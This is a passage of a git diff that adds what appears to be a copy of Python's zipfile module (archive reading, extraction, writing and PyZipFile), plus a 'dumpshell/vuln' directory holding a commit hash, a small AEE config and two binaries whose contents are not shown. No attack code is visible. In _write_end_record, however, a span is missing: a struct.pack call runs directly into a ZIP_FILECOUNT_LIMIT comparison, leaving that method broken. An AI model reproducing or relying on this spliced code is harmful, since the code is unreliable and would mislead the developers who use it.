print(endrec) + size_cd = endrec[_ECD_SIZE] # bytes in central directory + offset_cd = endrec[_ECD_OFFSET] # offset of central directory + self._comment = endrec[_ECD_COMMENT] # archive comment + + # "concat" is zero, unless zip was concatenated to another file + concat = endrec[_ECD_LOCATION] - size_cd - offset_cd + if endrec[_ECD_SIGNATURE] == stringEndArchive64: + # If Zip64 extension structures are present, account for them + concat -= (sizeEndCentDir64 + sizeEndCentDir64Locator) + + if self.debug > 2: + inferred = concat + offset_cd + print("given, inferred, offset", offset_cd, inferred, concat) + # self.start_dir: Position of start of central directory + self.start_dir = offset_cd + concat + if self.start_dir < 0: + raise BadZipFile("Bad offset for central directory") + fp.seek(self.start_dir, 0) + data = fp.read(size_cd) + fp = io.BytesIO(data) + total = 0 + while total < size_cd: + centdir = fp.read(sizeCentralDir) + if len(centdir) != sizeCentralDir: + raise BadZipFile("Truncated central directory") + centdir = struct.unpack(structCentralDir, centdir) + if centdir[_CD_SIGNATURE] != stringCentralDir: + raise BadZipFile("Bad magic number for central directory") + if self.debug > 2: + print(centdir) + filename = fp.read(centdir[_CD_FILENAME_LENGTH]) + orig_filename_crc = crc32(filename) + flags = centdir[_CD_FLAG_BITS] + if flags & _MASK_UTF_FILENAME: + # UTF-8 file names extension + filename = filename.decode('utf-8') + else: + # Historical ZIP filename encoding + filename = filename.decode(self.metadata_encoding or 'cp437') + # Create ZipInfo instance to store file information + x = ZipInfo(filename) + x.extra = fp.read(centdir[_CD_EXTRA_FIELD_LENGTH]) + x.comment = fp.read(centdir[_CD_COMMENT_LENGTH]) + x.header_offset = centdir[_CD_LOCAL_HEADER_OFFSET] + (x.create_version, x.create_system, x.extract_version, x.reserved, + x.flag_bits, x.compress_type, t, d, + x.CRC, x.compress_size, x.file_size) = centdir[1:12] + if x.extract_version > MAX_EXTRACT_VERSION: + raise NotImplementedError("zip file version %.1f" % + (x.extract_version / 10)) + x.volume, x.internal_attr, x.external_attr = centdir[15:18] + # Convert date/time code to (year, month, day, hour, min, sec) + x._raw_time = t + x.date_time = ( (d>>9)+1980, (d>>5)&0xF, d&0x1F, + t>>11, (t>>5)&0x3F, (t&0x1F) * 2 ) + x._decodeExtra(orig_filename_crc) + x.header_offset = x.header_offset + concat + self.filelist.append(x) + self.NameToInfo[x.filename] = x + + # update total bytes read from central directory + total = (total + sizeCentralDir + centdir[_CD_FILENAME_LENGTH] + + centdir[_CD_EXTRA_FIELD_LENGTH] + + centdir[_CD_COMMENT_LENGTH]) + + if self.debug > 2: + print("total", total) + + + def namelist(self): + """Return a list of file names in the archive.""" + return [data.filename for data in self.filelist] + + def infolist(self): + """Return a list of class ZipInfo instances for files in the + archive.""" + return self.filelist + + def printdir(self, file=None): + """Print a table of contents for the zip file.""" + print("%-46s %19s %12s" % ("File Name", "Modified ", "Size"), + file=file) + for zinfo in self.filelist: + date = "%d-%02d-%02d %02d:%02d:%02d" % zinfo.date_time[:6] + print("%-46s %s %12d" % (zinfo.filename, date, zinfo.file_size), + file=file) + + def testzip(self): + """Read all the files and check the CRC. + + Return None if all files could be read successfully, or the name + of the offending file otherwise.""" + chunk_size = 2 ** 20 + for zinfo in self.filelist: + try: + # Read by chunks, to avoid an OverflowError or a + # MemoryError with very large embedded files. + with self.open(zinfo.filename, "r") as f: + while f.read(chunk_size): # Check CRC-32 + pass + except BadZipFile: + return zinfo.filename + + def getinfo(self, name): + """Return the instance of ZipInfo given 'name'.""" + info = self.NameToInfo.get(name) + if info is None: + raise KeyError( + 'There is no item named %r in the archive' % name) + + return info + + def setpassword(self, pwd): + """Set default password for encrypted files.""" + if pwd and not isinstance(pwd, bytes): + raise TypeError("pwd: expected bytes, got %s" % type(pwd).__name__) + if pwd: + self.pwd = pwd + else: + self.pwd = None + + @property + def comment(self): + """The comment text associated with the ZIP file.""" + return self._comment + + @comment.setter + def comment(self, comment): + if not isinstance(comment, bytes): + raise TypeError("comment: expected bytes, got %s" % type(comment).__name__) + # check for valid comment length + if len(comment) > ZIP_MAX_COMMENT: + import warnings + warnings.warn('Archive comment is too long; truncating to %d bytes' + % ZIP_MAX_COMMENT, stacklevel=2) + comment = comment[:ZIP_MAX_COMMENT] + self._comment = comment + self._didModify = True + + def read(self, name, pwd=None): + """Return file bytes for name.""" + with self.open(name, "r", pwd) as fp: + return fp.read() + + def open(self, name, mode="r", pwd=None, *, force_zip64=False): + """Return file-like object for 'name'. + + name is a string for the file name within the ZIP file, or a ZipInfo + object. + + mode should be 'r' to read a file already in the ZIP file, or 'w' to + write to a file newly added to the archive. + + pwd is the password to decrypt files (only used for reading). + + When writing, if the file size is not known in advance but may exceed + 2 GiB, pass force_zip64 to use the ZIP64 format, which can handle large + files. If the size is known in advance, it is best to pass a ZipInfo + instance for name, with zinfo.file_size set. + """ + if mode not in {"r", "w"}: + raise ValueError('open() requires mode "r" or "w"') + if pwd and (mode == "w"): + raise ValueError("pwd is only supported for reading files") + if not self.fp: + raise ValueError( + "Attempt to use ZIP archive that was already closed") + + # Make sure we have an info object + if isinstance(name, ZipInfo): + # 'name' is already an info object + zinfo = name + elif mode == 'w': + zinfo = ZipInfo(name) + zinfo.compress_type = self.compression + zinfo._compresslevel = self.compresslevel + else: + # Get info object for name + zinfo = self.getinfo(name) + + if mode == 'w': + return self._open_to_write(zinfo, force_zip64=force_zip64) + + if self._writing: + raise ValueError("Can't read from the ZIP file while there " + "is an open writing handle on it. " + "Close the writing handle before trying to read.") + + # Open for reading: + self._fileRefCnt += 1 + zef_file = _SharedFile(self.fp, zinfo.header_offset, + self._fpclose, self._lock, lambda: self._writing) + try: + # Skip the file header: + fheader = zef_file.read(sizeFileHeader) + if len(fheader) != sizeFileHeader: + raise BadZipFile("Truncated file header") + fheader = struct.unpack(structFileHeader, fheader) + if fheader[_FH_SIGNATURE] != stringFileHeader: + raise BadZipFile("Bad magic number for file header") + + fname = zef_file.read(fheader[_FH_FILENAME_LENGTH]) + if fheader[_FH_EXTRA_FIELD_LENGTH]: + zef_file.seek(fheader[_FH_EXTRA_FIELD_LENGTH], whence=1) + + if zinfo.flag_bits & _MASK_COMPRESSED_PATCH: + # Zip 2.7: compressed patched data + raise NotImplementedError("compressed patched data (flag bit 5)") + + if zinfo.flag_bits & _MASK_STRONG_ENCRYPTION: + # strong encryption + raise NotImplementedError("strong encryption (flag bit 6)") + + if fheader[_FH_GENERAL_PURPOSE_FLAG_BITS] & _MASK_UTF_FILENAME: + # UTF-8 filename + fname_str = fname.decode("utf-8") + else: + fname_str = fname.decode(self.metadata_encoding or "cp437") + + if fname_str != zinfo.orig_filename: + raise BadZipFile( + 'File name in directory %r and header %r differ.' + % (zinfo.orig_filename, fname)) + + # check for encrypted flag & handle password + is_encrypted = zinfo.flag_bits & _MASK_ENCRYPTED + if is_encrypted: + if not pwd: + pwd = self.pwd + if pwd and not isinstance(pwd, bytes): + raise TypeError("pwd: expected bytes, got %s" % type(pwd).__name__) + if not pwd: + raise RuntimeError("File %r is encrypted, password " + "required for extraction" % name) + else: + pwd = None + + return ZipExtFile(zef_file, mode, zinfo, pwd, True) + except: + zef_file.close() + raise + + def _open_to_write(self, zinfo, force_zip64=False): + if force_zip64 and not self._allowZip64: + raise ValueError( + "force_zip64 is True, but allowZip64 was False when opening " + "the ZIP file." + ) + if self._writing: + raise ValueError("Can't write to the ZIP file while there is " + "another write handle open on it. " + "Close the first handle before opening another.") + + # Size and CRC are overwritten with correct data after processing the file + zinfo.compress_size = 0 + zinfo.CRC = 0 + + zinfo.flag_bits = 0x00 + if zinfo.compress_type == ZIP_LZMA: + # Compressed data includes an end-of-stream (EOS) marker + zinfo.flag_bits |= _MASK_COMPRESS_OPTION_1 + if not self._seekable: + zinfo.flag_bits |= _MASK_USE_DATA_DESCRIPTOR + + if not zinfo.external_attr: + zinfo.external_attr = 0o600 << 16 # permissions: ?rw------- + + # Compressed size can be larger than uncompressed size + zip64 = force_zip64 or (zinfo.file_size * 1.05 > ZIP64_LIMIT) + if not self._allowZip64 and zip64: + raise LargeZipFile("Filesize would require ZIP64 extensions") + + if self._seekable: + self.fp.seek(self.start_dir) + zinfo.header_offset = self.fp.tell() + + self._writecheck(zinfo) + self._didModify = True + + self.fp.write(zinfo.FileHeader(zip64)) + + self._writing = True + return _ZipWriteFile(self, zinfo, zip64) + + def extract(self, member, path=None, pwd=None): + """Extract a member from the archive to the current working directory, + using its full name. Its file information is extracted as accurately + as possible. `member' may be a filename or a ZipInfo object. You can + specify a different directory using `path'. + """ + if path is None: + path = os.getcwd() + else: + path = os.fspath(path) + + return self._extract_member(member, path, pwd) + + def extractall(self, path=None, members=None, pwd=None): + """Extract all members from the archive to the current working + directory. `path' specifies a different directory to extract to. + `members' is optional and must be a subset of the list returned + by namelist(). + """ + if members is None: + members = self.namelist() + + if path is None: + path = os.getcwd() + else: + path = os.fspath(path) + + for zipinfo in members: + self._extract_member(zipinfo, path, pwd) + + @classmethod + def _sanitize_windows_name(cls, arcname, pathsep): + """Replace bad characters and remove trailing dots from parts.""" + table = cls._windows_illegal_name_trans_table + if not table: + illegal = ':<>|"?*' + table = str.maketrans(illegal, '_' * len(illegal)) + cls._windows_illegal_name_trans_table = table + arcname = arcname.translate(table) + # remove trailing dots and spaces + arcname = (x.rstrip(' .') for x in arcname.split(pathsep)) + # rejoin, removing empty parts. + arcname = pathsep.join(x for x in arcname if x) + return arcname + + def _extract_member(self, member, targetpath, pwd): + """Extract the ZipInfo object 'member' to a physical + file on the path targetpath. + """ + if not isinstance(member, ZipInfo): + member = self.getinfo(member) + + # build the destination pathname, replacing + # forward slashes to platform specific separators. + arcname = member.filename.replace('/', os.path.sep) + + if os.path.altsep: + arcname = arcname.replace(os.path.altsep, os.path.sep) + # interpret absolute pathname as relative, remove drive letter or + # UNC path, redundant separators, "." and ".." components. + arcname = os.path.splitdrive(arcname)[1] + invalid_path_parts = ('', os.path.curdir, os.path.pardir) + arcname = os.path.sep.join(x for x in arcname.split(os.path.sep) + if x not in invalid_path_parts) + if os.path.sep == '\\': + # filter illegal characters on Windows + arcname = self._sanitize_windows_name(arcname, os.path.sep) + + if not arcname: + raise ValueError("Empty filename.") + + targetpath = os.path.join(targetpath, arcname) + targetpath = os.path.normpath(targetpath) + + # Create all upper directories if necessary. + upperdirs = os.path.dirname(targetpath) + if upperdirs and not os.path.exists(upperdirs): + os.makedirs(upperdirs) + + if member.is_dir(): + if not os.path.isdir(targetpath): + os.mkdir(targetpath) + return targetpath + + with self.open(member, pwd=pwd) as source, \ + open(targetpath, "wb") as target: + shutil.copyfileobj(source, target) + + return targetpath + + def _writecheck(self, zinfo): + """Check for errors before writing a file to the archive.""" + if zinfo.filename in self.NameToInfo: + import warnings + warnings.warn('Duplicate name: %r' % zinfo.filename, stacklevel=3) + if self.mode not in ('w', 'x', 'a'): + raise ValueError("write() requires mode 'w', 'x', or 'a'") + if not self.fp: + raise ValueError( + "Attempt to write ZIP archive that was already closed") + _check_compression(zinfo.compress_type) + if not self._allowZip64: + requires_zip64 = None + if len(self.filelist) >= ZIP_FILECOUNT_LIMIT: + requires_zip64 = "Files count" + elif zinfo.file_size > ZIP64_LIMIT: + requires_zip64 = "Filesize" + elif zinfo.header_offset > ZIP64_LIMIT: + requires_zip64 = "Zipfile size" + if requires_zip64: + raise LargeZipFile(requires_zip64 + + " would require ZIP64 extensions") + + def write(self, filename, arcname=None, + compress_type=None, compresslevel=None): + """Put the bytes from filename into the archive under the name + arcname.""" + if not self.fp: + raise ValueError( + "Attempt to write to ZIP archive that was already closed") + if self._writing: + raise ValueError( + "Can't write to ZIP archive while an open writing handle exists" + ) + + zinfo = ZipInfo.from_file(filename, arcname, + strict_timestamps=self._strict_timestamps) + + if zinfo.is_dir(): + zinfo.compress_size = 0 + zinfo.CRC = 0 + self.mkdir(zinfo) + else: + if compress_type is not None: + zinfo.compress_type = compress_type + else: + zinfo.compress_type = self.compression + + if compresslevel is not None: + zinfo._compresslevel = compresslevel + else: + zinfo._compresslevel = self.compresslevel + + with open(filename, "rb") as src, self.open(zinfo, 'w') as dest: + shutil.copyfileobj(src, dest, 1024*8) + + def writestr(self, zinfo_or_arcname, data, + compress_type=None, compresslevel=None): + """Write a file into the archive. The contents is 'data', which + may be either a 'str' or a 'bytes' instance; if it is a 'str', + it is encoded as UTF-8 first. + 'zinfo_or_arcname' is either a ZipInfo instance or + the name of the file in the archive.""" + if isinstance(data, str): + data = data.encode("utf-8") + if not isinstance(zinfo_or_arcname, ZipInfo): + zinfo = ZipInfo(filename=zinfo_or_arcname, + date_time=time.localtime(time.time())[:6]) + zinfo.compress_type = self.compression + zinfo._compresslevel = self.compresslevel + if zinfo.filename.endswith('/'): + zinfo.external_attr = 0o40775 << 16 # drwxrwxr-x + zinfo.external_attr |= 0x10 # MS-DOS directory flag + else: + zinfo.external_attr = 0o600 << 16 # ?rw------- + else: + zinfo = zinfo_or_arcname + + if not self.fp: + raise ValueError( + "Attempt to write to ZIP archive that was already closed") + if self._writing: + raise ValueError( + "Can't write to ZIP archive while an open writing handle exists." + ) + + if compress_type is not None: + zinfo.compress_type = compress_type + + if compresslevel is not None: + zinfo._compresslevel = compresslevel + + zinfo.file_size = len(data) # Uncompressed size + with self._lock: + with self.open(zinfo, mode='w') as dest: + dest.write(data) + + def mkdir(self, zinfo_or_directory_name, mode=511): + """Creates a directory inside the zip archive.""" + if isinstance(zinfo_or_directory_name, ZipInfo): + zinfo = zinfo_or_directory_name + if not zinfo.is_dir(): + raise ValueError("The given ZipInfo does not describe a directory") + elif isinstance(zinfo_or_directory_name, str): + directory_name = zinfo_or_directory_name + if not directory_name.endswith("/"): + directory_name += "/" + zinfo = ZipInfo(directory_name) + zinfo.compress_size = 0 + zinfo.CRC = 0 + zinfo.external_attr = ((0o40000 | mode) & 0xFFFF) << 16 + zinfo.file_size = 0 + zinfo.external_attr |= 0x10 + else: + raise TypeError("Expected type str or ZipInfo") + + with self._lock: + if self._seekable: + self.fp.seek(self.start_dir) + zinfo.header_offset = self.fp.tell() # Start of header bytes + if zinfo.compress_type == ZIP_LZMA: + # Compressed data includes an end-of-stream (EOS) marker + zinfo.flag_bits |= _MASK_COMPRESS_OPTION_1 + + self._writecheck(zinfo) + self._didModify = True + + self.filelist.append(zinfo) + self.NameToInfo[zinfo.filename] = zinfo + self.fp.write(zinfo.FileHeader(False)) + self.start_dir = self.fp.tell() + + def __del__(self): + """Call the "close()" method in case the user forgot.""" + self.close() + + def close(self): + """Close the file, and for mode 'w', 'x' and 'a' write the ending + records.""" + if self.fp is None: + return + + if self._writing: + raise ValueError("Can't close the ZIP file while there is " + "an open writing handle on it. " + "Close the writing handle before closing the zip.") + + try: + if self.mode in ('w', 'x', 'a') and self._didModify: # write ending records + with self._lock: + if self._seekable: + self.fp.seek(self.start_dir) + self._write_end_record() + finally: + fp = self.fp + self.fp = None + self._fpclose(fp) + + def _write_end_record(self): + for zinfo in self.filelist: # write central directory + dt = zinfo.date_time + dosdate = (dt[0] - 1980) << 9 | dt[1] << 5 | dt[2] + dostime = dt[3] << 11 | dt[4] << 5 | (dt[5] // 2) + extra = [] + if zinfo.file_size > ZIP64_LIMIT \ + or zinfo.compress_size > ZIP64_LIMIT: + extra.append(zinfo.file_size) + extra.append(zinfo.compress_size) + file_size = 0xffffffff + compress_size = 0xffffffff + else: + file_size = zinfo.file_size + compress_size = zinfo.compress_size + + if zinfo.header_offset > ZIP64_LIMIT: + extra.append(zinfo.header_offset) + header_offset = 0xffffffff + else: + header_offset = zinfo.header_offset + + extra_data = zinfo.extra + min_version = 0 + if extra: + # Append a ZIP64 field to the extra's + extra_data = _Extra.strip(extra_data, (1,)) + extra_data = struct.pack( + ' ZIP_FILECOUNT_LIMIT: + requires_zip64 = "Files count" + elif centDirOffset > ZIP64_LIMIT: + requires_zip64 = "Central directory offset" + elif centDirSize > ZIP64_LIMIT: + requires_zip64 = "Central directory size" + if requires_zip64: + # Need to write the ZIP64 end-of-archive records + if not self._allowZip64: + raise LargeZipFile(requires_zip64 + + " would require ZIP64 extensions") + zip64endrec = struct.pack( + structEndArchive64, stringEndArchive64, + 44, 45, 45, 0, 0, centDirCount, centDirCount, + centDirSize, centDirOffset) + self.fp.write(zip64endrec) + + zip64locrec = struct.pack( + structEndArchive64Locator, + stringEndArchive64Locator, 0, pos2, 1) + self.fp.write(zip64locrec) + centDirCount = min(centDirCount, 0xFFFF) + centDirSize = min(centDirSize, 0xFFFFFFFF) + centDirOffset = min(centDirOffset, 0xFFFFFFFF) + + endrec = struct.pack(structEndArchive, stringEndArchive, + 0, 0, centDirCount, centDirCount, + centDirSize, centDirOffset, len(self._comment)) + self.fp.write(endrec) + self.fp.write(self._comment) + if self.mode == "a": + self.fp.truncate() + self.fp.flush() + + def _fpclose(self, fp): + assert self._fileRefCnt > 0 + self._fileRefCnt -= 1 + if not self._fileRefCnt and not self._filePassed: + fp.close() + + +class PyZipFile(ZipFile): + """Class to create ZIP archives with Python library files and packages.""" + + def __init__(self, file, mode="r", compression=ZIP_STORED, + allowZip64=True, optimize=-1): + ZipFile.__init__(self, file, mode=mode, compression=compression, + allowZip64=allowZip64) + self._optimize = optimize + + def writepy(self, pathname, basename="", filterfunc=None): + """Add all files from "pathname" to the ZIP archive. + + If pathname is a package directory, search the directory and + all package subdirectories recursively for all *.py and enter + the modules into the archive. If pathname is a plain + directory, listdir *.py and enter all modules. Else, pathname + must be a Python *.py file and the module will be put into the + archive. Added modules are always module.pyc. + This method will compile the module.py into module.pyc if + necessary. + If filterfunc(pathname) is given, it is called with every argument. + When it is False, the file or directory is skipped. + """ + pathname = os.fspath(pathname) + if filterfunc and not filterfunc(pathname): + if self.debug: + label = 'path' if os.path.isdir(pathname) else 'file' + print('%s %r skipped by filterfunc' % (label, pathname)) + return + dir, name = os.path.split(pathname) + if os.path.isdir(pathname): + initname = os.path.join(pathname, "__init__.py") + if os.path.isfile(initname): + # This is a package directory, add it + if basename: + basename = "%s/%s" % (basename, name) + else: + basename = name + if self.debug: + print("Adding package in", pathname, "as", basename) + fname, arcname = self._get_codename(initname[0:-3], basename) + if self.debug: + print("Adding", arcname) + self.write(fname, arcname) + dirlist = sorted(os.listdir(pathname)) + dirlist.remove("__init__.py") + # Add all *.py files and package subdirectories + for filename in dirlist: + path = os.path.join(pathname, filename) + root, ext = os.path.splitext(filename) + if os.path.isdir(path): + if os.path.isfile(os.path.join(path, "__init__.py")): + # This is a package directory, add it + self.writepy(path, basename, + filterfunc=filterfunc) # Recursive call + elif ext == ".py": + if filterfunc and not filterfunc(path): + if self.debug: + print('file %r skipped by filterfunc' % path) + continue + fname, arcname = self._get_codename(path[0:-3], + basename) + if self.debug: + print("Adding", arcname) + self.write(fname, arcname) + else: + # This is NOT a package directory, add its files at top level + if self.debug: + print("Adding files from directory", pathname) + for filename in sorted(os.listdir(pathname)): + path = os.path.join(pathname, filename) + root, ext = os.path.splitext(filename) + if ext == ".py": + if filterfunc and not filterfunc(path): + if self.debug: + print('file %r skipped by filterfunc' % path) + continue + fname, arcname = self._get_codename(path[0:-3], + basename) + if self.debug: + print("Adding", arcname) + self.write(fname, arcname) + else: + if pathname[-3:] != ".py": + raise RuntimeError( + 'Files added with writepy() must end with ".py"') + fname, arcname = self._get_codename(pathname[0:-3], basename) + if self.debug: + print("Adding file", arcname) + self.write(fname, arcname) + + def _get_codename(self, pathname, basename): + """Return (filename, archivename) for the path. + + Given a module name path, return the correct file path and + archive name, compiling if necessary. For example, given + /python/lib/string, return (/python/lib/string.pyc, string). + """ + def _compile(file, optimize=-1): + import py_compile + if self.debug: + print("Compiling", file) + try: + py_compile.compile(file, doraise=True, optimize=optimize) + except py_compile.PyCompileError as err: + print(err.msg) + return False + return True + + file_py = pathname + ".py" + file_pyc = pathname + ".pyc" + pycache_opt0 = importlib.util.cache_from_source(file_py, optimization='') + pycache_opt1 = importlib.util.cache_from_source(file_py, optimization=1) + pycache_opt2 = importlib.util.cache_from_source(file_py, optimization=2) + if self._optimize == -1: + # legacy mode: use whatever file is present + if (os.path.isfile(file_pyc) and + os.stat(file_pyc).st_mtime >= os.stat(file_py).st_mtime): + # Use .pyc file. + arcname = fname = file_pyc + elif (os.path.isfile(pycache_opt0) and + os.stat(pycache_opt0).st_mtime >= os.stat(file_py).st_mtime): + # Use the __pycache__/*.pyc file, but write it to the legacy pyc + # file name in the archive. + fname = pycache_opt0 + arcname = file_pyc + elif (os.path.isfile(pycache_opt1) and + os.stat(pycache_opt1).st_mtime >= os.stat(file_py).st_mtime): + # Use the __pycache__/*.pyc file, but write it to the legacy pyc + # file name in the archive. + fname = pycache_opt1 + arcname = file_pyc + elif (os.path.isfile(pycache_opt2) and + os.stat(pycache_opt2).st_mtime >= os.stat(file_py).st_mtime): + # Use the __pycache__/*.pyc file, but write it to the legacy pyc + # file name in the archive. + fname = pycache_opt2 + arcname = file_pyc + else: + # Compile py into PEP 3147 pyc file. + if _compile(file_py): + if sys.flags.optimize == 0: + fname = pycache_opt0 + elif sys.flags.optimize == 1: + fname = pycache_opt1 + else: + fname = pycache_opt2 + arcname = file_pyc + else: + fname = arcname = file_py + else: + # new mode: use given optimization level + if self._optimize == 0: + fname = pycache_opt0 + arcname = file_pyc + else: + arcname = file_pyc + if self._optimize == 1: + fname = pycache_opt1 + elif self._optimize == 2: + fname = pycache_opt2 + else: + msg = "invalid value for 'optimize': {!r}".format(self._optimize) + raise ValueError(msg) + if not (os.path.isfile(fname) and + os.stat(fname).st_mtime >= os.stat(file_py).st_mtime): + if not _compile(file_py, optimize=self._optimize): + fname = arcname = file_py + archivename = os.path.split(arcname)[1] + if basename: + archivename = "%s/%s" % (basename, archivename) + return (fname, archivename) + +''' +from ._path import ( # noqa: E402 + Path, + + # used privately for tests + CompleteDirs, # noqa: F401 +) + +# used privately for tests +from .__main__ import main # noqa: F401, E402 +''' diff --git a/dumpshell/vuln/aee-commit b/dumpshell/vuln/aee-commit new file mode 100644 index 0000000..9f18e26 --- /dev/null +++ b/dumpshell/vuln/aee-commit @@ -0,0 +1 @@ +commit a5a730e76f371a3f8b3ac40ef31aa3bdc6d67f5b diff --git a/dumpshell/vuln/aee-config b/dumpshell/vuln/aee-config new file mode 100644 index 0000000..8a484ed --- /dev/null +++ b/dumpshell/vuln/aee-config @@ -0,0 +1,2 @@ +AE_FORCE_MODE = 0 +AE_EE = n diff --git a/dumpshell/vuln/aee_aed b/dumpshell/vuln/aee_aed new file mode 100644 index 0000000..25f4344 Binary files /dev/null and b/dumpshell/vuln/aee_aed differ diff --git a/dumpshell/vuln/aee_aedv b/dumpshell/vuln/aee_aedv new file mode 100644 index 0000000..95e8e23 Binary files /dev/null and b/dumpshell/vuln/aee_aedv differ